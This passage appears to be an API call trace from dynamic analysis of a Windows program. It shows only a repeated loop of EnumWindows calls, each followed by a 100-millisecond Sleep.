(dwMilliseconds=0x64) [0258.306] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.307] Sleep (dwMilliseconds=0x64) [0258.345] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.346] Sleep (dwMilliseconds=0x64) [0258.353] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.353] Sleep (dwMilliseconds=0x64) [0258.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.471] Sleep (dwMilliseconds=0x64) [0258.473] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.473] Sleep (dwMilliseconds=0x64) [0258.482] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.483] Sleep (dwMilliseconds=0x64) [0258.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.485] Sleep (dwMilliseconds=0x64) [0258.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.488] Sleep (dwMilliseconds=0x64) [0258.489] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.489] Sleep (dwMilliseconds=0x64) [0258.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.491] Sleep (dwMilliseconds=0x64) [0258.493] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.494] Sleep (dwMilliseconds=0x64) [0258.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.496] Sleep (dwMilliseconds=0x64) [0258.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.498] Sleep (dwMilliseconds=0x64) [0258.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.500] Sleep (dwMilliseconds=0x64) [0258.504] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.505] Sleep (dwMilliseconds=0x64) [0258.589] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.589] Sleep (dwMilliseconds=0x64) [0258.605] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.605] Sleep (dwMilliseconds=0x64) [0258.607] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.608] Sleep (dwMilliseconds=0x64) [0258.609] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.610] Sleep (dwMilliseconds=0x64) [0258.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.618] Sleep (dwMilliseconds=0x64) [0258.625] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.625] Sleep (dwMilliseconds=0x64) [0258.627] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.627] Sleep (dwMilliseconds=0x64) [0258.629] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.630] Sleep (dwMilliseconds=0x64) [0258.631] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.631] Sleep (dwMilliseconds=0x64) [0258.633] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.634] Sleep (dwMilliseconds=0x64) [0258.698] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.698] Sleep (dwMilliseconds=0x64) [0258.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.706] Sleep (dwMilliseconds=0x64) [0258.747] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.748] Sleep (dwMilliseconds=0x64) [0258.756] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.756] Sleep (dwMilliseconds=0x64) [0258.763] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.764] Sleep (dwMilliseconds=0x64) [0258.774] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.775] Sleep (dwMilliseconds=0x64) [0258.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.783] Sleep (dwMilliseconds=0x64) [0258.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.854] Sleep (dwMilliseconds=0x64) [0258.941] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.942] Sleep (dwMilliseconds=0x64) [0258.955] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.956] Sleep (dwMilliseconds=0x64) [0258.958] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.958] Sleep (dwMilliseconds=0x64) [0258.960] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.961] Sleep (dwMilliseconds=0x64) [0258.962] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.962] Sleep (dwMilliseconds=0x64) [0258.964] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.964] Sleep (dwMilliseconds=0x64) [0258.966] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.966] Sleep (dwMilliseconds=0x64) [0258.968] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.968] Sleep (dwMilliseconds=0x64) [0258.970] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0258.970] Sleep (dwMilliseconds=0x64) [0259.014] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.015] Sleep (dwMilliseconds=0x64) [0259.077] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.078] Sleep (dwMilliseconds=0x64) [0259.080] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.080] Sleep (dwMilliseconds=0x64) [0259.082] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.082] Sleep (dwMilliseconds=0x64) [0259.084] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.085] Sleep (dwMilliseconds=0x64) [0259.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.088] Sleep (dwMilliseconds=0x64) [0259.090] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.090] Sleep (dwMilliseconds=0x64) [0259.092] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.092] Sleep (dwMilliseconds=0x64) [0259.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.094] Sleep (dwMilliseconds=0x64) [0259.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.096] Sleep (dwMilliseconds=0x64) [0259.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.098] Sleep (dwMilliseconds=0x64) [0259.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.101] Sleep (dwMilliseconds=0x64) [0259.103] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.103] Sleep (dwMilliseconds=0x64) [0259.105] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.105] Sleep (dwMilliseconds=0x64) [0259.107] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.107] Sleep (dwMilliseconds=0x64) [0259.143] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.143] Sleep (dwMilliseconds=0x64) [0259.154] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.154] Sleep (dwMilliseconds=0x64) [0259.217] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.218] Sleep (dwMilliseconds=0x64) [0259.226] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.228] Sleep (dwMilliseconds=0x64) [0259.235] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.236] Sleep (dwMilliseconds=0x64) [0259.243] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.244] Sleep (dwMilliseconds=0x64) [0259.252] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.253] Sleep (dwMilliseconds=0x64) [0259.277] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.277] Sleep (dwMilliseconds=0x64) [0259.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.359] Sleep (dwMilliseconds=0x64) [0259.361] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.362] Sleep (dwMilliseconds=0x64) [0259.363] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.363] Sleep (dwMilliseconds=0x64) [0259.365] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.365] Sleep (dwMilliseconds=0x64) [0259.367] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.367] Sleep (dwMilliseconds=0x64) [0259.369] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.369] Sleep (dwMilliseconds=0x64) [0259.374] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.375] Sleep (dwMilliseconds=0x64) [0259.376] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.377] Sleep (dwMilliseconds=0x64) [0259.469] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.469] Sleep (dwMilliseconds=0x64) [0259.493] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.494] Sleep (dwMilliseconds=0x64) [0259.496] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.496] Sleep (dwMilliseconds=0x64) [0259.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.501] Sleep (dwMilliseconds=0x64) [0259.504] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.504] Sleep (dwMilliseconds=0x64) [0259.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.518] Sleep (dwMilliseconds=0x64) [0259.526] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.527] Sleep (dwMilliseconds=0x64) [0259.584] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.584] Sleep (dwMilliseconds=0x64) [0259.591] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.592] Sleep (dwMilliseconds=0x64) [0259.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.643] Sleep (dwMilliseconds=0x64) [0259.645] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.645] Sleep (dwMilliseconds=0x64) [0259.647] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.647] Sleep (dwMilliseconds=0x64) [0259.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.649] Sleep (dwMilliseconds=0x64) [0259.651] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.651] Sleep (dwMilliseconds=0x64) [0259.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.653] Sleep (dwMilliseconds=0x64) [0259.655] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.655] Sleep (dwMilliseconds=0x64) [0259.657] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.658] Sleep (dwMilliseconds=0x64) [0259.660] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.660] Sleep (dwMilliseconds=0x64) [0259.662] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.662] Sleep (dwMilliseconds=0x64) [0259.664] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.664] Sleep (dwMilliseconds=0x64) [0259.667] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.667] Sleep (dwMilliseconds=0x64) [0259.668] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.669] Sleep (dwMilliseconds=0x64) [0259.670] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.671] Sleep (dwMilliseconds=0x64) [0259.690] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.691] Sleep (dwMilliseconds=0x64) [0259.764] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.765] Sleep (dwMilliseconds=0x64) [0259.773] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.774] Sleep (dwMilliseconds=0x64) [0259.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.782] Sleep (dwMilliseconds=0x64) [0259.790] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.791] Sleep (dwMilliseconds=0x64) [0259.800] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.801] Sleep (dwMilliseconds=0x64) [0259.812] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.813] Sleep (dwMilliseconds=0x64) [0259.820] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.821] Sleep (dwMilliseconds=0x64) [0259.944] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.945] Sleep (dwMilliseconds=0x64) [0259.961] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.962] Sleep (dwMilliseconds=0x64) [0259.963] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.964] Sleep (dwMilliseconds=0x64) [0259.965] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.966] Sleep (dwMilliseconds=0x64) [0259.968] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.968] Sleep (dwMilliseconds=0x64) [0259.979] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.979] Sleep (dwMilliseconds=0x64) [0259.986] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.987] Sleep (dwMilliseconds=0x64) [0259.994] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0259.994] Sleep (dwMilliseconds=0x64) [0260.064] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.064] Sleep (dwMilliseconds=0x64) [0260.072] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.072] Sleep (dwMilliseconds=0x64) [0260.107] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.108] Sleep (dwMilliseconds=0x64) [0260.115] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.116] Sleep (dwMilliseconds=0x64) [0260.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.118] Sleep (dwMilliseconds=0x64) [0260.120] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.120] Sleep (dwMilliseconds=0x64) [0260.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.122] Sleep (dwMilliseconds=0x64) [0260.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.123] Sleep (dwMilliseconds=0x64) [0260.126] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.127] Sleep (dwMilliseconds=0x64) [0260.129] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.129] Sleep (dwMilliseconds=0x64) [0260.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.131] Sleep (dwMilliseconds=0x64) [0260.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.133] Sleep (dwMilliseconds=0x64) [0260.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.135] Sleep (dwMilliseconds=0x64) [0260.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.138] Sleep (dwMilliseconds=0x64) [0260.140] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.140] Sleep (dwMilliseconds=0x64) [0260.142] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.142] Sleep (dwMilliseconds=0x64) [0260.144] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.144] Sleep (dwMilliseconds=0x64) [0260.146] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.146] Sleep (dwMilliseconds=0x64) [0260.148] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.148] Sleep (dwMilliseconds=0x64) [0260.150] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.150] Sleep (dwMilliseconds=0x64) [0260.152] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.152] Sleep (dwMilliseconds=0x64) [0260.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.215] Sleep (dwMilliseconds=0x64) [0260.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.276] Sleep (dwMilliseconds=0x64) [0260.278] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.279] Sleep (dwMilliseconds=0x64) [0260.281] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.281] Sleep (dwMilliseconds=0x64) [0260.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.284] Sleep (dwMilliseconds=0x64) [0260.285] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.285] Sleep (dwMilliseconds=0x64) [0260.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.287] Sleep (dwMilliseconds=0x64) [0260.288] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.289] Sleep (dwMilliseconds=0x64) [0260.292] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.292] Sleep (dwMilliseconds=0x64) [0260.293] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.294] Sleep (dwMilliseconds=0x64) [0260.295] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.296] Sleep (dwMilliseconds=0x64) [0260.297] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.298] Sleep (dwMilliseconds=0x64) [0260.299] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.300] Sleep (dwMilliseconds=0x64) [0260.301] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.301] Sleep (dwMilliseconds=0x64) [0260.302] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.303] Sleep (dwMilliseconds=0x64) [0260.305] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.305] Sleep (dwMilliseconds=0x64) [0260.356] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.356] Sleep (dwMilliseconds=0x64) [0260.422] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.423] Sleep (dwMilliseconds=0x64) [0260.424] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.425] Sleep (dwMilliseconds=0x64) [0260.426] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.427] Sleep (dwMilliseconds=0x64) [0260.428] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.429] Sleep (dwMilliseconds=0x64) [0260.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.430] Sleep (dwMilliseconds=0x64) [0260.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.432] Sleep (dwMilliseconds=0x64) [0260.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.435] Sleep (dwMilliseconds=0x64) [0260.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.436] Sleep (dwMilliseconds=0x64) [0260.438] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.438] Sleep (dwMilliseconds=0x64) [0260.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.441] Sleep (dwMilliseconds=0x64) [0260.442] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.442] Sleep (dwMilliseconds=0x64) [0260.444] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.444] Sleep (dwMilliseconds=0x64) [0260.446] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.447] Sleep (dwMilliseconds=0x64) [0260.449] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.449] Sleep (dwMilliseconds=0x64) [0260.451] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.451] Sleep (dwMilliseconds=0x64) [0260.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.483] Sleep (dwMilliseconds=0x64) [0260.559] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.560] Sleep (dwMilliseconds=0x64) [0260.563] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.564] Sleep (dwMilliseconds=0x64) [0260.572] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.572] Sleep (dwMilliseconds=0x64) [0260.580] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.581] Sleep (dwMilliseconds=0x64) [0260.588] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.589] Sleep (dwMilliseconds=0x64) [0260.596] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.597] Sleep (dwMilliseconds=0x64) [0260.606] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.606] Sleep (dwMilliseconds=0x64) [0260.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.614] Sleep (dwMilliseconds=0x64) [0260.694] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.694] Sleep (dwMilliseconds=0x64) [0260.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.715] Sleep (dwMilliseconds=0x64) [0260.716] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.717] Sleep (dwMilliseconds=0x64) [0260.719] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.719] Sleep (dwMilliseconds=0x64) [0260.720] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.721] Sleep (dwMilliseconds=0x64) [0260.722] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.723] Sleep (dwMilliseconds=0x64) [0260.725] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.725] Sleep (dwMilliseconds=0x64) [0260.726] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.727] Sleep (dwMilliseconds=0x64) [0260.728] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.728] Sleep (dwMilliseconds=0x64) [0260.730] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.730] Sleep (dwMilliseconds=0x64) [0260.732] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.732] Sleep (dwMilliseconds=0x64) [0260.734] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.734] Sleep (dwMilliseconds=0x64) [0260.736] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.736] Sleep (dwMilliseconds=0x64) [0260.738] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.738] Sleep (dwMilliseconds=0x64) [0260.742] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.742] Sleep (dwMilliseconds=0x64) [0260.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.744] Sleep (dwMilliseconds=0x64) [0260.883] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.884] Sleep (dwMilliseconds=0x64) [0260.938] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.938] Sleep (dwMilliseconds=0x64) [0260.940] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.940] Sleep (dwMilliseconds=0x64) [0260.942] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.943] Sleep (dwMilliseconds=0x64) [0260.944] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.945] Sleep (dwMilliseconds=0x64) [0260.952] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.952] Sleep (dwMilliseconds=0x64) [0260.954] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.954] Sleep (dwMilliseconds=0x64) [0260.956] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.957] Sleep (dwMilliseconds=0x64) [0260.958] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.958] Sleep (dwMilliseconds=0x64) [0260.960] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.960] Sleep (dwMilliseconds=0x64) [0260.962] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.962] Sleep (dwMilliseconds=0x64) [0260.964] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.965] Sleep (dwMilliseconds=0x64) [0260.966] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.967] Sleep (dwMilliseconds=0x64) [0260.968] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0260.968] Sleep (dwMilliseconds=0x64) [0261.007] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.008] Sleep (dwMilliseconds=0x64) [0261.169] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.170] Sleep (dwMilliseconds=0x64) [0261.297] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.298] Sleep (dwMilliseconds=0x64) [0261.333] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.333] Sleep (dwMilliseconds=0x64) [0261.409] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.410] Sleep (dwMilliseconds=0x64) [0261.413] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.413] Sleep (dwMilliseconds=0x64) [0261.415] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.416] Sleep (dwMilliseconds=0x64) [0261.417] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.417] Sleep (dwMilliseconds=0x64) [0261.419] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.419] Sleep (dwMilliseconds=0x64) [0261.421] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.422] Sleep (dwMilliseconds=0x64) [0261.423] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.423] Sleep (dwMilliseconds=0x64) [0261.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.426] Sleep (dwMilliseconds=0x64) [0261.427] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.428] Sleep (dwMilliseconds=0x64) [0261.429] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.430] Sleep (dwMilliseconds=0x64) [0261.431] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.431] Sleep (dwMilliseconds=0x64) [0261.433] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.434] Sleep (dwMilliseconds=0x64) [0261.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.436] Sleep (dwMilliseconds=0x64) [0261.438] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.438] Sleep (dwMilliseconds=0x64) [0261.441] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.442] Sleep (dwMilliseconds=0x64) [0261.449] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.450] Sleep (dwMilliseconds=0x64) [0261.530] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.531] Sleep (dwMilliseconds=0x64) [0261.545] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.546] Sleep (dwMilliseconds=0x64) [0261.547] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.548] Sleep (dwMilliseconds=0x64) [0261.549] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.550] Sleep (dwMilliseconds=0x64) [0261.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.552] Sleep (dwMilliseconds=0x64) [0261.553] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.554] Sleep (dwMilliseconds=0x64) [0261.556] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.556] Sleep (dwMilliseconds=0x64) [0261.558] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.558] Sleep (dwMilliseconds=0x64) [0261.560] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.560] Sleep (dwMilliseconds=0x64) [0261.562] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.562] Sleep (dwMilliseconds=0x64) [0261.564] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.564] Sleep (dwMilliseconds=0x64) [0261.566] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.566] Sleep (dwMilliseconds=0x64) [0261.568] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.573] Sleep (dwMilliseconds=0x64) [0261.574] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.575] Sleep 